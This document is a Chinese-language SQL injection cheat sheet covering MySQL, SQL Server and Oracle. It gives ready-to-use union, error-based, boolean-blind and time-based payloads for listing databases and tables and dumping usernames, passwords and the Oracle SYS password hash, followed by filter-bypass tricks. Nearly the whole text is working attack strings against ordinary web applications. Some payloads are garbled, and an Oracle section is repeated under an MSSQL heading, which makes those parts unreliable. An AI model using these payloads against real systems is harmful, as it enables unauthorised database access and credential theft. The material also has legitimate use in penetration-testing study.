sql注入总结
sql注入分类方式
提交方式
- GET
- POST
- COOKIE
参数注入
- 数字型
- 字符型
- 搜索型
数据库类型
- ACCESS
- MySQL
- MySQL数据库默认在数据库中存放一个
information_schema
库 ,要记住该库中的3个表名:SCHEMATA
:存放该用户创建的所有数据库的库名,记录库名的字段名为SCHEMA_NAME
TABLES
:存放该用户创建的所有数据库的库名和表名,记录库名的字段为TABLE_SCHEMA
,记录表名的字段为TABLE_NAME
COLUMNS
:存放该用户所创建的所有库名、表名和字段名,记录库名的字段为TABLE_SCHEMA
、TABLE_NAME
、COLUMN_NAME
- MySQL数据库默认在数据库中存放一个
- MSSQL
- Oracle
手工注入方法
- 联合查询
- 报错注入
- 盲注
- 时间盲注
- 布尔盲注
- 堆叠注入
- 二次注入
- 宽字节注入
MySQL
划分
- 权限
- root
- 普通用户
- 版本
- mysql > 5.0
- mysql < 5.0
root权限
- load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
- 判断是否具有读写权限
- and (select count(*) from mysql.user)>0#
- and (select count(file_priv) from mysql.user)>#
- Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件
- 注意:路径符号””错误 “”正确 “/”正确,转换成十六进制,不用“”
- into outfile函数
- 条件:1. 绝对路径 2.可以使用单引号
- 判断是否具有读写权限
MySQL联合查询
注意:在使用union 语句查询时,要记得union两边的查询语句的字段数一致!!!!!!
-
关于为什么让id=-1
- 第一行的查询结果为空集,即union左边的select子句查询结果为 空,那么union右边的
查询结果自然就成为了第一行,如:-1,0
-1' union select 1,2,3--+
- 第一行的查询结果为空集,即union左边的select子句查询结果为 空,那么union右边的
-
适用于mysql低于5.0版本
-
判断是否可以注入
- ?id=1 and 1=1,页面正常
- ?id=1 and 1=2,页面空白
- ?id=1 and 1=1,页面正常
-
获得查询语句中的字段数
order by的方法来判断,(同样可以使用union select 1,2,3.....来猜测字段数)比如:- ?id=1 order by 4 页面显示正常
- ?id=1 order by 5 页面出错,说明字段数等于4
-
获得显示位
在得知查询语句中查询的字段数后,可以获得显示位
?id=-1 union select 1,2,3,4 //比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。
-
猜表名
猜表名的方法是,在获得显示位的完整的地址后加上:from 表名,比如:- ?id=-1 union select 1,2,3,4 from users
这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。
- ?id=-1 union select 1,2,3,4 from users
-
猜字段
使用:concat(字段名)替换显示位的位置。- ?id=-1 union select 1,2,3,concat(username,password) from users
-
-
适用于Mysql 5.0以上版本支持查表查列
-
先判断是否可以注入
- and+1=1,页面正常(用加号代替空格)
- and+1=2,页面空白
-
获得字段数:
使用order by提交:- ?id=1 order by 4 正确。
- ?id=1 order by 5 错误。
那么,判断出字段数为4。
-
获得显示位
提交:- ?id=-1 +union+select+1,2,3,4
显示位为:2,3,4
- ?id=-1 +union+select+1,2,3,4
-
注意:确定显示位,要用错误的数据,如?id=-1
-
获取信息
- ?id=-1 +union+select+1,2,3,version()
- database()
- user()
- version()
- database()
@@basedir
数据库安装路径@@datadir
数据库路径
-
获取所有数据库
- select group_concat(schema_name) from information_schema.schemata
-
查表
-
select table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1
- (注意: 0x 开始的数据表示 16 进制)
- 当显示位足够时,不需要limit
- 经测试,该语句中,数据库名只能使用16进制形式
-
select group_concat(table_name) from information_schema.tables where table_schema='库名'
- 库名可以用单引号或双引号括起
-
-
查字段
- select column_name from information_schema.columns where table_name=0x74657374 limit 0,1
- select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'
- 当知道库名时可将database() 替换为库名
-
爆字段内容
- select concat(username,password) from 表名
- select group_concat(username,password) from 表名
- 经测试,字段名替换为16进制数可以查询成功,如username替换为:0x757365726e616d65
-
-
注意:在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat(),group_concat(),concat_ws()。
MySQL报错注入
原理分析
-
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。
-
floor报错:
select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2));
0x7e是16进制的~
-
利用 floor () 的报错注入实际上是由 rand () , count () , group by 三个函数语句联合使用造成的
-
concat: 连接字符串功能
-
floor: 取float的整数值(向下取整)
-
rand: 用于产生0(包含)到1(不包含)的随机数
- 可以给 rand () 传一个参数作为 rand () 的种子,指定了随机数的种子,那么多次查询的结果是一样的,如rand(0)
-
group by: 根据一个或多个列对结果集进行分组并有排序功能
- 注意, group by 后跟的字段名是作为虚拟表的主键,主键不能重复,报错的主要原因是虚拟表的主键重复
-
floor(rand(0)*2): 随机产生0或1
-
-
建立的表
-
通过chengji这个字段来对表中数据进行分组
可以看到我们出现了一个新的数据表,有chengji 、 count () 这两个字段,count () 字段下表示每个人的成绩,可以联想到 group by 子句的执行流程,最初时,chengji-count () 这个数据表是空的,通过一行一行读原数据表中的 chengji 字段,如果读到的 chengji 在 chengji-count () 数据表中不存在,就将它插入,并且将对应的 count () 赋为 1,如果存在,就将其对应的 count () +1,直至扫完整个数据表。
-
floor (rand ()2) 和 floor (rand (0)2) 表示产生 0 或者 1
我们来比较下它们的区别:
指定了随机数的种子,那么多次查询的结果是一样的
不指定随机数,每次查询结果不一样
-
执行语句
select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2));
当数据表记录大于三时,使用 group by floor (rand (0)*2) 一定报错
-
-
extractvalue () 报错:
select chengji from users where id = '1' and (extractvalue('abcd',concat(0x7e,(select database()))));
-
几个相关函数:
-
extractvalue():从目标 XML 中返回包含所查询值的字符串。
- extractvalue () 能查询字符串的最大长度为 32,就是说如果我们想要的结果超过 32,就需要用 substring () 函数截取。
-
EXTRACTVALUE (XML_document, XPath_string);
-
第一个参数:XML_document是 String 格式,为 XML 文档对象的名称,文中为 Doc 。
-
第二个参数:XPath_string ( Xpath 格式的字符串)
-
我们主要利用在第二个参数的位置,当正常查询时,第二个参数应该是 /xxx/xxx/xxx/… 这种形式。如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
-
-
concat:返回结果为连接参数产生的字符串。
-
-
操作:
由图可见,当格式正常时,没有报错,使用concat()连接,导致格式出错,最终报错。
-
结果超过32位时,使用substring
select name from users where id=1 and (extractvalue('anything',concat('#',substring(hex((select database())),1,5))))
-
-
updatexml () 报错:
select name from users where id=1 and (updatexml('anything',concat('~',(select database())),'anything'))
- 相关函数:
- UPDATEXML (XML_document, XPath_string, new_value);
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。
- 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据 。
- 作用:改变文档中符合条件的节点的值。
- updatexml () 报错与 extractvalue () 报错类似,都是由于 xpath 格式错误报错,同样能查询字符串的最大长度为 32,同样在第二个参数出插入我们需要的语句代码。
- UPDATEXML (XML_document, XPath_string, new_value);
- 操作:
- 相关函数:
-
and GeometryCollection((selectfrom(selectfrom(select @@version)f)x))
-
and polygon((select*from(select name_const(version(),1))x))
-
and linestring((select * from(select * from(select user())a)b))
-
and multilinestring((select * from(select * from(select version())a)b));
-
and multipoint((select * from(select * from(select user())a)b));
-
and multipolygon((select * from(select * from(select user())a)b));
-
MySQL盲注
常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。
-
基于True或False的类型
- 判断库名长度
- id=1 and (select length(database()))=20 返回正常页面 长度20位
- id=1 and length(database())=3
- 判断库名组成
- id=1 and ord(substr((SELECT username FROM users limit 0,1),1,1))=97
//截取username第一个数据的ascii值- ?id=1 and substr(database(),1,1)='s'
//判断数据库的第一个字母是否为s
- ?id=1 and substr(database(),1,1)='s'
- 判断表名的组成
id=1 and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)='e'--+ - 判断字段名的组成
?id=1 and substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)='e'--+
- 判断库名长度
-
注:substr是截取的意思,每次只返回一个值,特别注意,limit是从0开始,substr是从1开始
-
Order by盲注
- 原理:order by rand(True)和order by rand(False)的结果排序是不同的
-
基于时间型注入
有5种常见类型
- sleep()
- 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2') - ?id=1 and if(length(database())>3,sleep(5),1)--+
- 注:语句 if(expr1,expr2.expr3),其含义为,如果expr1是true,则返回值为expr2,否则返回值为expr3
- 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
- benchmark()
通过大量运算来模拟延时
- 笛卡尔积
计算笛卡尔积也是通过大量运算模拟延时
- get_lock
属于比较鸡肋的一种时间盲注,需要两个session,在第一个session中加锁:然后再第二个session中执行查询:
- rlike+rpad
二次注入
SQLServer
权限
- SA权限
- 数据库操作,文件管理,命令执行,注册表读取等
- Db权限
- 文件管理,数据库操作等
- Public权限
- 数据库操作
SQLServer 联合查询
-
判断是否存在注入
?id=1 and 1=1-- 返回正确
?id=1 and 1=2-- 返回错误 -
获取字段数
?id=1 order by 2-- 返回正确页面
?id=1 order by 3-- 返回错误页面 字段长度为2
-
查看数据库版本
?id=1 and 1=2 union select db_name(),null //获得当前数据库 -
查看表名
?id=1 and 1=2 union select top 1 TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users') -
查看列名
?id=1 and 1=2 union select top 1 column_name ,2 from information_schema.columns where table_name ='users' and column_name not in ('uname') -
获取数据
SQLServer 报错注入
-
获取表名
?id=4' and 1>(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in ('admin') )-- -
获取列名
?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) -- -
获取数据
?id=4' and 1=(select top 1 pwd from admin) -- -
获取数据库信息
?id=1' and 1=(select @@version)-- //SQL Server 2000
?id=1' and 1=(select db_name()) //当前使用的数据库
SQLServer 盲注
-
猜表名
?id=1 and (select count() from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第一个表的长度7
?id=1 and (select count() from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码
?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值
得到表名,进一步猜解字段 -
猜字段
id=1 and
(select count() from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1
//获取users表第一个字段的ASCII值id=1 and
(select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass') and ascii(substring(name,1,1))>90)=1 --
//获取user表第二个字段的第一位ASCII值 -
猜数据
id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --
//获取users表中uname字段的第一位ASCII值
Oracle
联合查询
- Union select null,null,null 从第一个null开始加’null’,得到显示位
Union select null,null,null from dual 返回正确,存在dual表
Union Select tablespace_name from user_tablespaces //查库
Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表
Union Select column_name from user_tab_columns where table_name=’users’ //查列
?id=1 order by 1-- //获取字段数
and+1=1+union+all+select+(SELECT banner FROM v(version where rownum=1)+from+dual--//获取数据库版本 and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名 union+all+select+(select password from sys.user) where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名
手工显错注入
-
最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限
//判断是否是oracle
?id=1 and exists(select * from dual)--
//获取库名
?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v(database))—- //获取数据库服务器所在ip ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))-- ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v)version where rownum=1),'a','b')--
?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
盲注
- 基于布尔类型的盲注
- ?id=7782' and length((SELECT name FROM v(database))=4-- 获取数据库名长度
?id=7782' and ascii(substr((SELECT name FROM v)database),1,1))=79--
获取数据库名第一位为O
- ?id=7782' and length((SELECT name FROM v(database))=4-- 获取数据库名长度
?id=7782' and ascii(substr((SELECT name FROM v)database),1,1))=79--
- 基于时间延迟的盲注
- ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v(database),1,1))=79) THEN 1 ELSE 2 END)--
?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v)database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--
MSSQL
- ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v(database),1,1))=79) THEN 1 ELSE 2 END)--
?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v)database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--
- 初步判断是否是mssql
;and user>0
绕过总结
基础绕过
-
大小写绕过
用于过滤时没有匹配大小写的情况:SelECt * from table;
-
双写绕过
用于将禁止的字符直接删掉的过滤情况如:
preg_replace(‘/select/‘,’’,input)
则可用seselectlect *from xxx
来绕过,在删除一个select
后剩下的就是select* from xxx
添加注释
/*! */
类型的注释,内部的语句会被执行